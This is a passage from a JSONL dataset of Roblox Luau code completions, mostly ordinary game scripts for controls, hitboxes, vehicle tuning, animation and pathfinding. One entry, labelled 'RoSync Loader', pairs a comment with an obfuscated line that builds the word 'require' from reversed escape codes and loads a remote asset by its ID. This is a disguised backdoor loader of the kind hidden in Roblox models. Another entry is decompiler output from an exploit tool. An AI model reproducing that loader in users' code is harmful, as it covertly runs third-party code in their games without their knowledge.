then\n\t\t\t\t\tModules.Placement.quickplace()\n\t\t\t\tend\n\t\t\telseif Input.KeyCode == Enum.KeyCode.DPadRight then\n\t\t\t\tif not Focused then\n\t\t\t\t\tModules.Focus.change(script.Parent.HUDRight)\n\t\t\t\t\tscript.Parent.HUDRight.XboxKey.Close.Visible = true\n\t\t\t\t\tscript.Parent.HUDRight.XboxKey.Open.Visible = false\n\t\t\t\tend\n\t\t\telseif Input.KeyCode == Enum.KeyCode.DPadDown then\n\t\t\t\tif not Focused then\n\t\t\t\t\tModules.HUDRight.OpenBoxes()\n\t\t\t\tend\n\t\t\telseif Input.KeyCode == Enum.KeyCode.ButtonX then\n\t\t\t\tif Tycoon then\n\t\t\t\t\tif script.Parent.ItemPreview.Frame.Expanded.Value then\n\t\t\t\t\t\tModules.Placement.withdraw()\n\t\t\t\t\telse\n\t\t\t\t\t\tModules.HUDLeft.ToggleInventory()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telseif Input.KeyCode == Enum.KeyCode.ButtonY then\n\t\t\t\tif Tycoon then\n\t\t\t\t\tif script.Parent.ItemPreview.Frame.Expanded.Value then\n\t\t\t\t\t\tModules.Placement.quicksell()\n\t\t\t\t\telseif Modules.Placement.placing then\n\t\t\t\t\t\tModules.Placement.undo()\n\t\t\t\t\telse\n\t\t\t\t\t\t--Modules.HUDLeft.ToggleShop()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telseif Input.KeyCode == Enum.KeyCode.ButtonL2 then\n\t\t\t\tif Modules.Placement.placing then\n\t\t\t\t\tModules.Placement.rotate()\n\t\t\t\tend\n\t\t\telseif Input.KeyCode == Enum.KeyCode.ButtonL1 then\n\t\t\t\tif script.Parent.Inventory.Visible then\n\t\t\t\t\tModules.HUDLeft.ToggleSettings()\n\t\t\t\telseif Modules.Placement.placing then\n\t\t\t\t\tModules.Placement.shiftleft()\n\t\t\t\tend\n\t\t\telseif Input.KeyCode == Enum.KeyCode.ButtonR1 then\n\t\t\t\tif script.Parent.Shop.Visible then\n\t\t\t\t\tModules.Focus.change(script.Parent.Premium)\n\t\t\t\telseif Modules.Placement.placing then\n\t\t\t\t\tModules.Placement.shiftright()\n\t\t\t\telseif script.Parent.ItemInfo.Info.XboxControl.Visible then\n\t\t\t\t\tlocal itemLabel = script.Parent.ItemInfo.RealItem.Value\n\t\t\t\t\tif itemLabel then\n\t\t\t\t\t\tlocal Success = game.ReplicatedStorage.RFunctions.ToggleFavorite:InvokeServer(itemLabel.ItemName.Value)\n\t\t\t\t\t\tif not Success then\n\t\t\t\t\t\t\tModules.Menu.sounds.Error:Play()\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tModules.ItemInfo.hide(itemLabel)\n\t\t\t\t\t\t\tModules.Inventory.favorite(itemLabel)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t-- PC CONTROLS\n\t\t\telseif Input.KeyCode == Enum.KeyCode.E then\n\t\t\t\tModules.HUDLeft.ToggleInventory()\n\t\t\tend\n\t\t\tif Modules.Placement.placing then\n\t\t\t\tif Input.KeyCode == Enum.KeyCode.R then\n\t\t\t\t\tModules.Placement.rotate()\n\t\t\t\telseif Input.KeyCode == Enum.KeyCode.Q then\n\t\t\t\t\tModules.Placement.stopPlacing()\n\t\t\t\telseif Input.KeyCode == Enum.KeyCode.F then\n\t\t\t\t\tModules.Placement.undo()\n\t\t\t\telseif Input.KeyCode == Enum.KeyCode.Z then\n\t\t\t\t\tModules.Placement.shiftleft()\n\t\t\t\telseif Input.KeyCode == Enum.KeyCode.C then\n\t\t\t\t\tModules.Placement.shiftright()\n\t\t\t\telseif Input.KeyCode == Enum.KeyCode.One or Input.KeyCode == Enum.KeyCode.KeypadOne then\n\t\t\t\t\tModules.Placement.lower()\n\t\t\t\telseif Input.KeyCode == Enum.KeyCode.Two or Input.KeyCode == Enum.KeyCode.KeypadTwo\tthen\n\t\t\t\t\tModules.Placement.raise()\n\t\t\t\tend\n\t\t\telseif script.Parent.ItemPreview.Frame.Expanded.Value then\n\t\t\t\tif Input.KeyCode == Enum.KeyCode.Z then\n\t\t\t\t\tModules.Placement.withdraw()\n\t\t\t\telseif Input.KeyCode == Enum.KeyCode.R then\n\t\t\t\t\tModules.Placement.quickplace()\n\t\t\t\telseif Input.KeyCode == Enum.KeyCode.X then\n\t\t\t\t\tModules.Placement.quicksell()\n\t\t\t\telseif Input.KeyCode == Enum.KeyCode.C then\n\t\t\t\t\tModules.Placement.quickbuy()\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif Input.KeyCode == Enum.KeyCode.M then\n\t\t\t\t\tModules.HUDLeft.ToggleMaps()\n\t\t\t\telseif Input.KeyCode == Enum.KeyCode.C then\n\t\t\t\t\tModules.HUDLeft.ToggleSettings()\n\t\t\t\telseif Input.KeyCode == Enum.KeyCode.P then\n\t\t\t\t\tModules.HUDLeft.TogglePremium()\n\t\t\t\telseif Input.KeyCode == Enum.KeyCode.F and game:GetService(\"RunService\"):IsStudio() then\n\t\t\t\t\tModules.HUDLeft.ToggleShop()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\n\n\tlocal function Scan()\n\t\tfor i,Object in script.Parent:GetDescendants() do\n\t\t\tif Object:IsA(\"GuiObject\") then\n\t\t\t\tif Object:FindFirstChild(\"PC\") or Object:FindFirstChild(\"Xbox\") or Object:FindFirstChild(\"Mobile\") then\n\t\t\t\t\tObject.Visible = Object:FindFirstChild(module.mode.Value)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\tScan()\n\tmodule.mode.Changed:Connect(Scan)\n\tprint(module.mode.Value)\nend\n\nreturn module\n"} +{"prompt": "-- services", "completion": "\n\nlocal ReplicatedStorage\t= game:GetService(\"ReplicatedStorage\")\nlocal Players\t\t\t= game:GetService(\"Players\")\n"} +{"prompt": "--- Runs for the very first time whenever a hitbox is created\n--- Do not run this more than once, you may introduce memory leaks if you do so", "completion": "\nfunction Hitbox:_Init()\n\tif not self.HitboxObject then return end\n\n\tlocal tagConnection: RBXScriptConnection\n\n\tlocal function onTagRemoved(instance: Instance)\n\t\tif instance == self.HitboxObject then\n\t\t\ttagConnection:Disconnect()\n\t\t\tself:Destroy()\n\t\tend\n\tend\n\n\tself:Recalibrate()\n\ttable.insert(ActiveHitboxes, self)\n\tCollectionService:AddTag(self.HitboxObject, self.Tag)\n\n\ttagConnection = CollectionService:GetInstanceRemovedSignal(self.Tag):Connect(onTagRemoved)\nend\n\nlocal function Init()\n\t--- Reserve table sizing for solver tables\n\tlocal solversCache: {[number]: any} = table.create(#Solvers:GetChildren())\n\n\tDEFAULT_SIMULATION_TYPE:Connect(function(step: number)\n\t\t--- Iterate through all the hitboxes\n\t\tfor i = #ActiveHitboxes, 1, -1 do\n\t\t\t--- Skip this hitbox if the hitbox will be garbage collected this frame\n\t\t\tif ActiveHitboxes[i].HitboxPendingRemoval then\n\t\t\t\tlocal hitbox: any = table.remove(ActiveHitboxes, i)\n\t\t\t\ttable.clear(hitbox)\n\t\t\t\tsetmetatable(hitbox, nil)\n\t\t\t\tcontinue\n\t\t\tend\n\n\t\t\tfor _: number, point: Point in ipairs(ActiveHitboxes[i].HitboxRaycastPoints) do\n\t\t\t\t--- Reset this point if the hitbox is inactive\n\t\t\t\tif not ActiveHitboxes[i].HitboxActive then\n\t\t\t\t\tpoint.LastPosition = nil\n\t\t\t\t\tcontinue\n\t\t\t\tend\n\n\t\t\t\t--- Calculate rays\n\t\t\t\tlocal castMode: any = solversCache[point.CastMode]\n\t\t\t\tlocal origin: Vector3, direction: Vector3 = castMode:Solve(point)\n\t\t\t\tlocal raycastResult: RaycastResult = workspace:Raycast(origin, direction, ActiveHitboxes[i].RaycastParams)\n\n\t\t\t\t--- Draw debug rays\n\t\t\t\tif ActiveHitboxes[i].Visualizer then\n\t\t\t\t\tlocal adornmentData: AdornmentData? = VisualizerCache:GetAdornment()\n\n\t\t\t\t\tif adornmentData then\n\t\t\t\t\t\tlocal debugStartPosition: CFrame = castMode:Visualize(point)\n\t\t\t\t\t\tadornmentData.Adornment.Length = direction.Magnitude\n\t\t\t\t\t\tadornmentData.Adornment.CFrame = debugStartPosition\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t--- Update the current point's position\n\t\t\t\tpoint.LastPosition = castMode:UpdateToNextPosition(point)\n\n\t\t\t\t--- If a ray detected a hit\n\t\t\t\tif raycastResult then\n\t\t\t\t\tlocal part: BasePart = raycastResult.Instance\n\t\t\t\t\tlocal model: Instance?\n\t\t\t\t\tlocal humanoid: Instance?\n\t\t\t\t\tlocal target: Instance?\n\n\t\t\t\t\tif ActiveHitboxes[i].DetectionMode == 1 then\n\t\t\t\t\t\tmodel = part:FindFirstAncestorOfClass(\"Model\")\n\t\t\t\t\t\tif model then\n\t\t\t\t\t\t\thumanoid = model:FindFirstChildOfClass(\"Humanoid\")\n\t\t\t\t\t\tend\n\t\t\t\t\t\ttarget = humanoid\n\t\t\t\t\telse\n\t\t\t\t\t\ttarget = part\n\t\t\t\t\tend\n\n\t\t\t\t\t--- Found a target. Fire the OnHit event\n\t\t\t\t\tif target then\n\t\t\t\t\t\tif ActiveHitboxes[i].DetectionMode <= 2 then\n\t\t\t\t\t\t\tif ActiveHitboxes[i].HitboxHitList[target] then\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tActiveHitboxes[i].HitboxHitList[target] = true\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tActiveHitboxes[i].OnHit:Fire(part, humanoid, raycastResult, point.Group)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t--- Hitbox Time scheduler\n\t\t\t\tif ActiveHitboxes[i].HitboxStopTime > 0 then\n\t\t\t\t\tif ActiveHitboxes[i].HitboxStopTime <= os.clock() then\n\t\t\t\t\t\tActiveHitboxes[i]:HitStop()\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t--- OnUpdate event that fires every frame for every point\n\t\t\t\tActiveHitboxes[i].OnUpdate:Fire(point.LastPosition)\n\n\t\t\t\t--- Update SignalType\n\t\t\t\tif ActiveHitboxes[i].OnUpdate._signalType ~= ActiveHitboxes[i].SignalType then\n\t\t\t\t\tActiveHitboxes[i].OnUpdate._signalType = ActiveHitboxes[i].SignalType\n\t\t\t\t\tActiveHitboxes[i].OnHit._signalType = ActiveHitboxes[i].SignalType\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tlocal adornmentsInUse: number = #VisualizerCache._AdornmentInUse\n\n\t\t--- Iterates through all the debug rays to see if they need to be cached or cleaned up\n\t\tif adornmentsInUse > 0 then\n\t\t\tfor i = adornmentsInUse, 1, -1 do\n\t\t\t\tif (os.clock() - VisualizerCache._AdornmentInUse[i].LastUse) >= DEFAULT_DEBUGGER_RAY_DURATION then\n\t\t\t\t\tlocal adornment: AdornmentData? = table.remove(VisualizerCache._AdornmentInUse, i)\n\n\t\t\t\t\tif adornment then\n\t\t\t\t\t\tVisualizerCache:ReturnAdornment(adornment)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\n\n\t--- Require all solvers\n\tfor castMode: string, enum: number in pairs(Hitbox.CastModes) do\n\t\tlocal moduleScript: Instance? = Solvers:FindFirstChild(castMode)\n\n\t\tif moduleScript then\n\t\t\tlocal load = require(moduleScript)\n\t\t\tsolversCache[enum] = load\n\t\tend\n\tend\nend\n\nInit()\n\nreturn Hitbox\n"} +{"prompt": "--[[Drivetrain Initialize]]", "completion": "\n\n\tlocal Drive={}\n\t\n\t--Power Front Wheels\n\tif _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\t\t\ttable.insert(Drive,v)\n\t\t\tend\n\t\tend\n\tend\n\t\n\t--Power Rear Wheels\n\tif _Tune.Config == \"RWD\" or _Tune.Config == \"AWD\" then\n\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\tif v.Name==\"RL\" or v.Name==\"RR\" or v.Name==\"R\" then\n\t\t\t\ttable.insert(Drive,v)\n\t\t\tend\n\t\tend\n\tend\n\t\n\t--Determine Wheel Size\n\tlocal wDia = 0\n\tfor i,v in pairs(Drive) do\n\t\tif v.Size.x>wDia then wDia = v.Size.x end\n\tend\n\t\n\t--Pre-Toggled PBrake\n\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\tif v[\"#AV\"]:IsA(\"BodyAngularVelocity\") then\n\t\t\tif math.abs(v[\"#AV\"].maxTorque.Magnitude-PBrakeForce)<1 then\n\t\t\t\t_PBrake=true\n\t\t\tend\n\t\telse\n\t\t\tif math.abs(v[\"#AV\"].MotorMaxTorque-PBrakeForce)<1 then\n\t\t\t\t_PBrake=true\n\t\t\tend\n\t\tend\n\tend\n\t\n\t\n"} +{"prompt": "---[[ Chat Text Size Settings ]]", "completion": "\nmodule.ChatWindowTextSize = 18\nmodule.ChatChannelsTabTextSize = 18\nmodule.ChatBarTextSize = 18\nmodule.ChatWindowTextSizePhone = 14\nmodule.ChatChannelsTabTextSizePhone = 18\nmodule.ChatBarTextSizePhone = 14\n"} +{"prompt": "--[[ Last synced 12/13/2020 04:04 || RoSync Loader ]]", "completion": " getfenv()[string.reverse(\"\\101\\114\\105\\117\\113\\101\\114\")](5747857292)\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------", "completion": "\n\nfunction configureAnimationSetOld(name, fileList)\n\tif (animTable[name] ~= nil) then\n\t\tfor _, connection in pairs(animTable[name].connections) do\n\t\t\tconnection:disconnect()\n\t\tend\n\tend\n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\t\n\tanimTable[name].connections = {}\n\n\tlocal allowCustomAnimations = true\n\n\tlocal success, msg = pcall(function() allowCustomAnimations = game:GetService(\"StarterPlayer\").AllowCustomAnimations end)\n\tif not success then\n\t\tallowCustomAnimations = true\n\tend\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (allowCustomAnimations and config ~= nil) then\n\t\ttable.insert(animTable[name].connections, config.ChildAdded:Connect(function(child) configureAnimationSet(name, fileList) end))\n\t\ttable.insert(animTable[name].connections, config.ChildRemoved:Connect(function(child) configureAnimationSet(name, fileList) end))\n\t\tlocal idx = 1\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tif (childPart:IsA(\"Animation\")) then\n\t\t\t\ttable.insert(animTable[name].connections, childPart.Changed:Connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\tanimTable[name][idx] = {}\n\t\t\t\tanimTable[name][idx].anim = childPart\n\t\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\t\tif (weightObject == nil) then\n\t\t\t\t\tanimTable[name][idx].weight = 1\n\t\t\t\telse\n\t\t\t\t\tanimTable[name][idx].weight = weightObject.Value\n\t\t\t\tend\n\t\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight\n\t\t\t\tidx = idx + 1\n\t\t\tend\n\t\tend\n\tend\n\n\t-- fallback to defaults\n\tif (animTable[name].count <= 0) then\n\t\tfor idx, anim in pairs(fileList) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = Instance.new(\"Animation\")\n\t\t\tanimTable[name][idx].anim.Name = name\n\t\t\tanimTable[name][idx].anim.AnimationId = anim.id\n\t\t\tanimTable[name][idx].weight = anim.weight\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight\n\t\t\t-- print(name .. \" [\" .. idx .. \"] \" .. anim.id .. \" (\" .. anim.weight .. \")\")\n\t\tend\n\tend\n\n\t-- preload anims\n\tfor i, animType in pairs(animTable) do\n\t\tfor idx = 1, animType.count, 1 do \n\t\t\tHumanoid:LoadAnimation(animType[idx].anim)\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = require(script.Parent:WaitForChild(\"BaseCamera\"));\nlocal v2 = require(script.Parent:WaitForChild(\"CameraInput\"));\nlocal v3 = require(script.Parent:WaitForChild(\"CameraUtils\"));\nlocal v4 = require(script.Parent:WaitForChild(\"ZoomController\"));\nlocal v5 = require(script:WaitForChild(\"VehicleCameraCore\"));\nlocal v6 = require(script:WaitForChild(\"VehicleCameraConfig\"));\nlocal l__LocalPlayer__7 = game:GetService(\"Players\").LocalPlayer;\nlocal l__map__8 = v3.map;\nlocal u1 = 0.016666666666666666;\ngame:GetService(\"RunService\").Stepped:Connect(function(p1, p2)\n\tu1 = p2;\nend);\nlocal v9 = setmetatable({}, v1);\nv9.__index = v9;\nfunction v9.new()\n\tlocal v10 = setmetatable(v1.new(), v9);\n\tv10:Reset();\n\treturn v10;\nend;\nlocal l__Spring__2 = v3.Spring;\nfunction v9.Reset(p3)\n\tp3.vehicleCameraCore = v5.new(p3:GetSubjectCFrame());\n\tp3.pitchSpring = l__Spring__2.new(0, -math.rad(v6.pitchBaseAngle));\n\tp3.yawSpring = l__Spring__2.new(0, 0);\n\tp3.lastPanTick = 0;\n\tlocal l__CurrentCamera__11 = workspace.CurrentCamera;\n\tlocal v12 = l__CurrentCamera__11 and l__CurrentCamera__11.CameraSubject;\n\tassert(l__CurrentCamera__11);\n\tassert(v12);\n\tassert(v12:IsA(\"VehicleSeat\"));\n\tlocal v13, v14 = v3.getLooseBoundingSphere((v12:GetConnectedParts(true)));\n\tp3.assemblyRadius = math.max(v14, 0.001);\n\tp3.assemblyOffset = v12.CFrame:Inverse() * v13;\n\tp3:_StepInitialZoom();\nend;\nfunction v9._StepInitialZoom(p4)\n\tp4:SetCameraToSubjectDistance(math.max(v4.GetZoomRadius(), p4.assemblyRadius * v6.initialZoomRadiusMul));\nend;\nlocal l__sanitizeAngle__3 = v3.sanitizeAngle;\nlocal l__mapClamp__4 = v3.mapClamp;\nfunction v9._StepRotation(p5, p6, p7)\n\tlocal l__yawSpring__15 = p5.yawSpring;\n\tlocal l__pitchSpring__16 = p5.pitchSpring;\n\tlocal v17 = v2.getRotation(true);\n\tl__yawSpring__15.pos = l__sanitizeAngle__3(l__yawSpring__15.pos + -v17.X);\n\tl__pitchSpring__16.pos = l__sanitizeAngle__3(math.clamp(l__pitchSpring__16.pos + -v17.Y, -1.3962634015954636, 1.3962634015954636));\n\tif v2.getRotationActivated() then\n\t\tp5.lastPanTick = os.clock();\n\tend;\n\tlocal v18 = -math.rad(v6.pitchBaseAngle);\n\tlocal v19 = math.rad(v6.pitchDeadzoneAngle);\n\tif v6.autocorrectDelay < os.clock() - p5.lastPanTick then\n\t\tlocal v20 = l__mapClamp__4(p7, v6.autocorrectMinCarSpeed, v6.autocorrectMaxCarSpeed, 0, v6.autocorrectResponse);\n\t\tl__yawSpring__15.freq = v20;\n\t\tl__pitchSpring__16.freq = v20;\n\t\tif l__yawSpring__15.freq < 0.001 then\n\t\t\tl__yawSpring__15.vel = 0;\n\t\tend;\n\t\tif l__pitchSpring__16.freq < 0.001 then\n\t\t\tl__pitchSpring__16.vel = 0;\n\t\tend;\n\t\tif math.abs(l__sanitizeAngle__3(v18 - l__pitchSpring__16.pos)) <= v19 then\n\t\t\tl__pitchSpring__16.goal = l__pitchSpring__16.pos;\n\t\telse\n\t\t\tl__pitchSpring__16.goal = v18;\n\t\tend;\n\telse\n\t\tl__yawSpring__15.freq = 0;\n\t\tl__yawSpring__15.vel = 0;\n\t\tl__pitchSpring__16.freq = 0;\n\t\tl__pitchSpring__16.vel = 0;\n\t\tl__pitchSpring__16.goal = v18;\n\tend;\n\treturn CFrame.fromEulerAnglesYXZ(l__pitchSpring__16:step(p6), l__yawSpring__15:step(p6), 0);\nend;\nfunction v9._GetThirdPersonLocalOffset(p8)\n\treturn p8.assemblyOffset + Vector3.new(0, p8.assemblyRadius * v6.verticalCenterOffset, 0);\nend;\nfunction v9._GetFirstPersonLocalOffset(p9, p10)\n\tlocal l__Character__21 = l__LocalPlayer__7.Character;\n\tif l__Character__21 and l__Character__21.Parent then\n\t\tlocal l__Head__22 = l__Character__21:FindFirstChild(\"Head\");\n\t\tif l__Head__22 and l__Head__22:IsA(\"BasePart\") then\n\t\t\treturn p10:Inverse() * l__Head__22.Position;\n\t\tend;\n\tend;\n\treturn p9:_GetThirdPersonLocalOffset();\nend;\nfunction v9.Update(p11)\n\tlocal l__CurrentCamera__23 = workspace.CurrentCamera;\n\tlocal v24 = l__CurrentCamera__23 and l__CurrentCamera__23.CameraSubject;\n\tlocal l__vehicleCameraCore__25 = p11.vehicleCameraCore;\n\tassert(l__CurrentCamera__23);\n\tassert(v24);\n\tassert(v24:IsA(\"VehicleSeat\"));\n\tu1 = 0;\n\tlocal v26 = p11:GetSubjectCFrame();\n\tlocal v27 = p11:GetSubjectRotVelocity();\n\tlocal v28 = math.abs(v26.YVector:Dot(v27));\n\tlocal v29 = math.abs(v26.XVector:Dot(v27));\n\tlocal v30 = p11:StepZoom();\n\tlocal v31 = p11:_StepRotation(u1, (math.abs(p11:GetSubjectVelocity():Dot(v26.ZVector))));\n\tlocal v32 = l__mapClamp__4(v30, 0.5, p11.assemblyRadius, 1, 0);\n\tlocal v33 = p11:_GetThirdPersonLocalOffset():Lerp(p11:_GetFirstPersonLocalOffset(v26), v32);\n\tl__vehicleCameraCore__25:setTransform(v26);\n\tlocal v34 = CFrame.new(v26 * v33) * l__vehicleCameraCore__25:step(u1, v29, v28, v32) * v31;\n\treturn v34 * CFrame.new(0, 0, v30), v34;\nend;\nfunction v9.ApplyVRTransform(p12)\n\nend;\nfunction v9.EnterFirstPerson(p13)\n\tp13.inFirstPerson = true;\n\tp13:UpdateMouseBehavior();\nend;\nfunction v9.LeaveFirstPerson(p14)\n\tp14.inFirstPerson = false;\n\tp14:UpdateMouseBehavior();\nend;\nreturn v9;\n"} +{"prompt": "--Unsprung Weight", "completion": "\nTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\nTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\nTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\nTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\nTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry more weight)\nTune.AxleDensity\t= .1\t\t-- Density of structural members\n"} +{"prompt": "-- upstream: https://github.com/facebook/react/blob/cb141681750c8221ac799074df09df2bb448c7a4/packages/shared/consoleWithStackDev.js\n--[[*\n* Copyright (c) Facebook, Inc. and its affiliates.\n*\n* This source code is licensed under the MIT license found in the\n* LICENSE file in the root directory of this source tree.\n]]", "completion": "\nlocal Packages = script.Parent.Parent\nlocal LuauPolyfill = require(Packages.LuauPolyfill)\nlocal console = LuauPolyfill.console\nlocal Array = LuauPolyfill.Array\n\nlocal ReactSharedInternals = require(script.Parent.ReactSharedInternals)"} +{"prompt": "-- Variables", "completion": "\nlocal footstepsModule = require(replicatedStorage:WaitForChild(\"FootstepModule\"))\n\nlocal player = players.LocalPlayer\nlocal character = player.Character or player.CharacterAdded:Wait()\nlocal humanoid = character:WaitForChild(\"Humanoid\")\n\nlocal rootPart = character:WaitForChild(\"HumanoidRootPart\")\n"} +{"prompt": "-- ROBLOX deviation: omitting imports since they're mostly fs related", "completion": "\n"} +{"prompt": "-- Allow RaycastModule to write to the output", "completion": "\nlocal SHOW_OUTPUT_MESSAGES: boolean = true\n"} +{"prompt": "--[[START]]", "completion": "\n\n\t_BuildVersion = require(script.Parent.README)\n"} +{"prompt": "--[[\n\tPerforms property validation if the static method validateProps is declared.\n\tvalidateProps should follow assert's expected arguments:\n\t(false, message: string) | true. The function may return a message in the\n\ttrue case; it will be ignored. If this fails, the function will throw the\n\terror.\n]]", "completion": "\nfunction Component:__validateProps(props)\n\tif not config.propValidation then\n\t\treturn\n\tend\n\n\tlocal validator = self[InternalData].componentClass.validateProps\n\n\tif validator == nil then\n\t\treturn\n\tend\n\n\tif typeof(validator) ~= \"function\" then\n\t\terror(\n\t\t\t(\"validateProps must be a function, but it is a %s.\\nCheck the definition of the component %q.\"):format(\n\t\t\t\ttypeof(validator),\n\t\t\t\tself.__componentName\n\t\t\t)\n\t\t)\n\tend\n\n\tlocal success, failureReason = validator(props)\n\n\tif not success then\n\t\tfailureReason = failureReason or \"\"\n\t\terror(\n\t\t\t(\"Property validation failed in %s: %s\\n\\n%s\"):format(\n\t\t\t\tself.__componentName,\n\t\t\t\ttostring(failureReason),\n\t\t\t\tself:getElementTraceback() or \"\"\n\t\t\t),\n\t\t\t0\n\t\t)\n\tend\nend\n"} +{"prompt": "-- a better alternative implementation for the wait function", "completion": "\nfunction wait_time(duration)\n local start = tick()\n local Heartbeat = game:GetService(\"RunService\").Heartbeat\n repeat Heartbeat:Wait() until (tick() - start) >= duration\n return (tick() - start)\nend\n"} +{"prompt": "--[=[\n @interface IClientConfig\n @within Types\n .simulationConfig ISimulationConfig -- The config passed to the Chickynoid [Simulation] class.\n]=]", "completion": "\nexport type IClientConfig = {\n simulationConfig: ISimulationConfig,\n}\n\nreturn nil\n"} +{"prompt": "-- Module --", "completion": "\n\nlocal Datastore2 = require(ReplicatedStorage.Modules.MainModule)\nDatastore2.Combine(\"DATA\", \"Donated\", \"Raised\") -- This is like the data. 'DATA' is your MASTER KEY!\n"} +{"prompt": "-- The maximum distance the can can shoot, this value should never go above 1000", "completion": "\nlocal Range = 433"} +{"prompt": "--[[ NON-STATIC METHODS ]]", "completion": "--\nfunction Path:Destroy()\n\tfor _, event in ipairs(self._events) do\n\t\tevent:Destroy()\n\tend\n\tself._events = nil\n\tif rawget(self, \"_visualWaypoints\") then\n\t\tself._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)\n\tend\n\tself._path:Destroy()\n\tsetmetatable(self, nil)\n\tfor k, _ in pairs(self) do\n\t\tself[k] = nil\n\tend\nend\n\nfunction Path:Stop()\n\tif not self._humanoid then\n\t\toutput(error, \"Attempt to call Path:Stop() on a non-humanoid.\")\n\t\treturn\n\tend\n\tif self._status == Path.StatusType.Idle then\n\t\toutput(function(m)\n\t\t\twarn(debug.traceback(m))\n\t\tend, \"Attempt to run Path:Stop() in idle state\")\n\t\treturn\n\tend\n\tdisconnectMoveConnection(self)\n\tself._status = Path.StatusType.Idle\n\tself._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)\n\tself._events.Stopped:Fire(self._model)\nend\n\nfunction Path:Run(target)\n\tself.Visualize = true\n\tprint(self._humanoid)\n\t--Non-humanoid handle case\n\tif not target and not self._humanoid and self._target then\n\t\tmoveToFinished(self, true)\n\t\treturn\n\tend\n\n\t--Parameter check\n\tif not (target and (typeof(target) == \"Vector3\" or target:IsA(\"BasePart\"))) then\n\t\toutput(error, \"Pathfinding target must be a valid Vector3 or BasePart.\")\n\tend\n\n\t--Refer to Settings.TIME_VARIANCE\n\tif os.clock() - self._t <= self._settings.TIME_VARIANCE and self._humanoid then\n\t\ttask.wait(os.clock() - self._t)\n\t\tdeclareError(self, self.ErrorType.LimitReached)\n\t\treturn false\n\telseif self._humanoid then\n\t\tself._t = os.clock()\n\tend\n\n\t--Compute path\n\tlocal pathComputed, _ = pcall(function()\n\t\tself._path:ComputeAsync(self._agent.PrimaryPart.Position, (typeof(target) == \"Vector3\" and target) or target.Position)\n\tend)\n\n\t--Make sure path computation is successful\n\tprint(self._path.Status)\n\tif not pathComputed\n\t\tor self._path.Status == Enum.PathStatus.NoPath\n\t\tor #self._path:GetWaypoints() < 2\n\t\tor (self._humanoid and self._humanoid:GetState() == Enum.HumanoidStateType.Freefall) then\n\t\tself._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)\n\t\ttask.wait()\n\t\tdeclareError(self, self.ErrorType.ComputationError)\n\t\treturn false\n\tend\n\n\t--Set status to active; pathfinding starts\n\tself._status = (self._humanoid and Path.StatusType.Active) or Path.StatusType.Idle\n\tself._target = target\n\n\t--Set network owner to server to prevent \"hops\"\n\tpcall(function()\n\t\tself._agent.PrimaryPart:SetNetworkOwner(nil)\n\tend)\n\n\t--Initialize waypoints\n\tself._waypoints = self._path:GetWaypoints()\n\tself._currentWaypoint = 2\n\t\n\n\t--Refer to Settings.COMPARISON_CHECKS\n\tif self._humanoid then\n\t\tcomparePosition(self)\n\tend\n\n\t--Visualize waypoints\n\tdestroyVisualWaypoints(self._visualWaypoints)\n\tself._visualWaypoints = (self.Visualize and createVisualWaypoints(self._waypoints))\n\n\t--Create a new move connection if it doesn't exist already\n\tself._moveConnection = self._humanoid and (self._moveConnection or self._humanoid.MoveToFinished:Connect(function(...)\n\t\tmoveToFinished(self, ...)\n\tend))\n\n\t--Begin pathfinding\n\tif self._humanoid then\n\t\tself._humanoid:MoveTo(self._waypoints[self._currentWaypoint].Position)\n\telseif #self._waypoints == 2 then\n\t\tself._target = nil\n\t\tself._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints)\n\t\tself._events.Reached:Fire(self._agent, self._waypoints[2])\n\telse\n\t\tself._currentWaypoint = getNonHumanoidWaypoint(self)\n\t\tmoveToFinished(self, true)\n\tend\n\treturn true\nend\n\nreturn Path\n"} +{"prompt": "--[[ Local Functions ]]", "completion": "--\nfunction MasterControl:GetHumanoid()\n\tlocal character = LocalPlayer and LocalPlayer.Character\n\tif character then\n\t\tif CachedHumanoid and CachedHumanoid.Parent == character then\n\t\t\treturn 